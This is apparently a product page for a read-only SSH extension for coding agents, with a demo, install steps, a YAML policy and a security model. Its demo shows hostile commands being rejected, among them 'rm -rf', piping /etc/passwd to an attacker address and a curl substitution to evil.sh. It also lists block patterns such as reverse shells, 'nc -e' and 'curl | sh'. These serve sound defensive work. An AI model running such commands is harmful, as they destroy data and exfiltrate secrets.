pi extension · v… · MIT

Give your LLM an ssh_exec tool
it can't misuse.

pi-readonly-ssh is a pi extension that lets your coding agent poke at production boxes over SSH — but only through a strict, allow-listed set of read-only commands. No pipes. No redirects. No shell. No writes. Ever.

~140 self-tests on every load 0 shell metacharacters allowed 96 read-only commands shipped ✓ strict-mode disables pi's bash
~ pi — ssh_exec demo
// LLM asks to investigate a flaky nginx on prod-web-1
 ssh_exec(host="prod-web-1", command="systemctl status nginx")
  ● nginx.service - A high performance web server
       Active: active (running) since Sat 2026-04-18 21:03:11 UTC
       Tasks: 9 (limit: 4915)

 ssh_exec(host="prod-web-1", command="tail -n 50 /var/log/nginx/error.log")
  2026/04/18 21:04:02 [error] 1823#1823: upstream timed out ...

 ssh_exec(host="prod-web-1", command="sudo rm -rf /var/log")
  ✗ rejected: command 'rm' is not in the allowlist

 ssh_exec(host="prod-web-1", command="cat /etc/passwd | mail attacker@x")
  ✗ rejected: pipe '|' is not allowed; ssh_exec does not run shell pipelines

 ssh_exec(host="prod-web-1", command="echo $(curl evil.sh)")
  ✗ rejected: command substitution '$(' is not allowed

Why this exists

LLM agents are great at reading logs, tailing metrics, and poking at running systems. They're also one runaway tool-call away from rm -rf /. Giving an agent raw SSH means trusting every future model revision, every prompt-injection payload, every hallucinated flag. pi-readonly-ssh removes the trust requirement: the validator, not the model, decides what runs.

140+
dangerous patterns tested on every startup
0
shell, pipes, redirects, or substitutions allowed
2-pass
raw-string scan + argv parse before SSH
YAML
single file, hot-reloadable via /ssh-reload

What you get

Every knob the agent can't turn is a class of incident that can't happen.

AL

Allow-list first

Only commands present in commands.yaml can execute. Per-command subcommands, banned_flags, banned_args_regex, and max_args.

NM

No metacharacters

Pipes, redirects, &&, ;, backticks, $(…), heredocs, newlines — all rejected at the raw string level, before parsing.

NH

Named hosts only

Hosts live in YAML with a friendly alias. Optional allow_any_host for dev; off by default.

ST

Strict mode

Disables pi's built-in bash tool while the extension is loaded — otherwise the LLM could just shell out and bypass everything.

ST

Self-tested on load

~140 destructive patterns (rm -rf /, dd of=/dev/sda, curl | sh, reverse shells, nested ssh…) must stay rejected. Config regressions are loud.

TL

Timeouts & output caps

Per-call timeout and a hard ceiling on bytes returned — no agent can accidentally cat a 4 GB log into your context window.

AU

Audit log

Every attempted call — accepted or rejected, with reason — appended to a single file you control. Forensics, always.

HR

Hot reload

/ssh-reload picks up YAML edits without restarting pi. Tighten the policy live.

π

Pure pi extension

Installs via pi install. No daemons, no services, no new attack surface — just a tool the agent can call.

Install

Works on any machine with pi installed. You don't need npm or node on your PATH; pi manages it.

from npm (recommended)
# install globally into pi
pi install npm:@codingcoffee/pi-readonly-ssh

# verify
pi list
pi  # look for "ro-ssh: N cmds, ..." in the footer
from git (no npm)
pi install git:github.com/codingcoffee/pi-readonly-ssh

# or pinned to a release tag
pi install git:github.com/codingcoffee/pi-readonly-ssh@v…

# try without installing
pi -e npm:@codingcoffee/pi-readonly-ssh

Inside pi, try /ssh-allowed to list the allowlisted commands and /ssh-hosts to list your named hosts.

One YAML, one source of truth

The full policy — hosts, commands, timeouts, strict mode, audit log — lives in a single commands.yaml. Edit it, run /ssh-reload, done.

The extension ships with sensible defaults baked into the installed package. To customize, drop your own copy at ~/.config/pi-readonly-ssh/commands.yaml — or a project-local ./.pi/readonly-ssh/commands.yaml next to your repo to share policy with your team. The first file found in that order wins; otherwise the bundled default is used read-only.

~/.config/pi-readonly-ssh/commands.yaml
settings:
  strict_mode: true           # disable pi's built-in bash tool
  max_output_bytes: 262144
  default_timeout_sec: 20
  allow_any_host: false
  audit_log: "~/.local/state/pi/readonly-ssh/audit.log"

hosts:
  - { name: prod-web-1,  ssh: "deploy@10.0.1.11" }
  - { name: prod-db-1,   ssh: "ops@db-primary.internal" }

commands:
  - { name: ls }
  - { name: cat }
  - { name: grep,        banned_flags: ["-Z", "--null"] }
  - { name: tail,        banned_flags: ["-f", "--follow"] }
  - { name: systemctl,   subcommands: [status, is-active, show, list-units] }
  - { name: journalctl,  banned_flags: ["-f", "--follow"] }
  - { name: kubectl,     subcommands: [get, describe, logs, top] }
  # ...and 90+ more shipped by default
Fat-finger your YAML? You'll know immediately. On every pi startup (and on every /ssh-reload) the extension runs ~140 must-reject self-tests against your live config — rm -rf /, curl | sh, dd of=/dev/sda, reverse shells, nested ssh, and more. If a careless edit starts letting any of them through, pi surfaces a warning in the footer before the agent makes its first tool call. Break the policy and you find out in seconds, not incidents.

Security model

Explicit approval, never implicit allow. Every command, subcommand, flag, and host must be named in your YAML to run. If it isn't on the list, it's rejected — there is no “probably safe”, no heuristic, no sandbox to escape. The default state is no.

Two layers of validation run before the string ever reaches ssh:

1 · Raw-string scan

Before any parsing, the input is checked for forbidden bytes: |, &, ;, >, <, backticks, $(, ${, <(, <<, newlines, CRs. Zero tolerance — quoted or not.

2 · Argv validation

The string is parsed with shell-quote into an argv. Any non-string token (operators, globs-as-AST, comments) is rejected. The head is matched against the allowlist; sudo is validated recursively on its inner command.

Self-test on every load. The extension ships with a battery of ~140 must-reject patterns — rm -rf /, dd of=/dev/sda, curl | sh, nc -e, kubectl delete, git push --force, nested ssh, heredocs, process substitution, python -c, eval — that run against your live config on startup and on /ssh-reload. If you trim or edit the policy in a way that lets any of them through, you get a warning before the agent makes its first tool call.

Read-only SSH for agents, in one command.

Ship the policy with your repo. Let the model read prod — and nothing else.